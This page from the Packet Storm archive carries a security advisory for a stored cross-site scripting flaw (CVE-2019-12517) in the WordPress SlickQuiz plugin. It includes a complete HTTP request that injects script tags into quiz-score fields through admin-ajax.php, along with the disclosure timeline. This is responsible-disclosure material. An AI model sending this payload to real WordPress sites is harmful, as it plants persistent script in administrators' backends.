what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress SlickQuiz 1.3.7.1 Cross Site Scripting

WordPress SlickQuiz 1.3.7.1 Cross Site Scripting
Posted Sep 10, 2019
Authored by Julien Ahrens | Site rcesecurity.com

WordPress SlickQuiz plugin version 1.3.7.1 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-12517
SHA-256 | cbb9b82d8abba98ceec52791f9d154653f25751db87716fba4d0f5bdb5a37486

WordPress SlickQuiz 1.3.7.1 Cross Site Scripting

Change Mirror Download
RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product: SlickQuiz
Vendor URL: https://wordpress.org/plugins/slickquiz/
Type: Cross-Site Scripting [CWE-79]
Date found: 2019-05-30
Date published: 2019-09-10
CVSSv3 Score: 6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
CVE: CVE-2019-12517


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
SlickQuiz for Wordpress 1.3.7.1 (latest)


4. INTRODUCTION
===============
SlickQuiz is a plugin for displaying and managing pretty, dynamic quizzes. It
uses the SlickQuiz jQuery plugin.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The "save_quiz_score" functionality available to unauthenticated users via the
Wordpress "/wp-admin/admin-ajax.php" endpoint allows unauthenticated users to
submit quiz solutions/answers. If the configuration option "Save user scores"
is enabled (disabled by default), the response is stored in the database and
later shown in the Wordpress backend for all users with at least Subscriber
rights.

However, since the plugin does not properly validate and sanitize the quiz
response, a malicious XSS payload in either the name, the email or the score
parameter like:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0)
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 181
DNT: 1
Connection: close

action=save_quiz_score&json={"name":"Na<script>alert(document.domain)</script>
me","email":"info@local<script>alert(document.domain)</script>host",
"score":"<script>alert(document.domain)</script>","quiz_id":1}

is executed directly within the backend at "/wp-admin/admin.php?page=slickquiz"
across all users with the privileges of at least subscriber and up to admin.


6. RISK
=======
To successfully exploit this vulnerability an authenticated user must be tricked
into visiting the SlickQuiz administrative backend on the affected Wordpress
installation.

The vulnerability can be used to permanently embed arbitrary script code into the
administrative Wordpress backend, which offers a wide range of possible
attacks such as redirecting the user to a malicious page, spoofing content on the
page or attacking the browser and its plugins.


7. SOLUTION
===========
None (Remove the plugin)


8. REPORT TIMELINE
==================
2019-05-30: Discovery of the vulnerability during H1-4420
2019-06-01: CVE requested from MITRE
2019-06-02: MITRE assigns CVE-2019-12517
2019-06-10: Contacted vendor using their publicly listed email address
2019-06-19: Contacted vendor using their publicly listed email address
2019-06-22: Contacted vendor using their publicly listed email address
2019-08-28: No response from vendor.
2019-09-10: Public disclosure.


9. REFERENCES
=============
https://www.rcesecurity.com/2019/09/H1-4420-From-Quiz-to-Admin-Chaining-Two-0-Days-to-Compromise-an-Uber-Wordpress/
Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close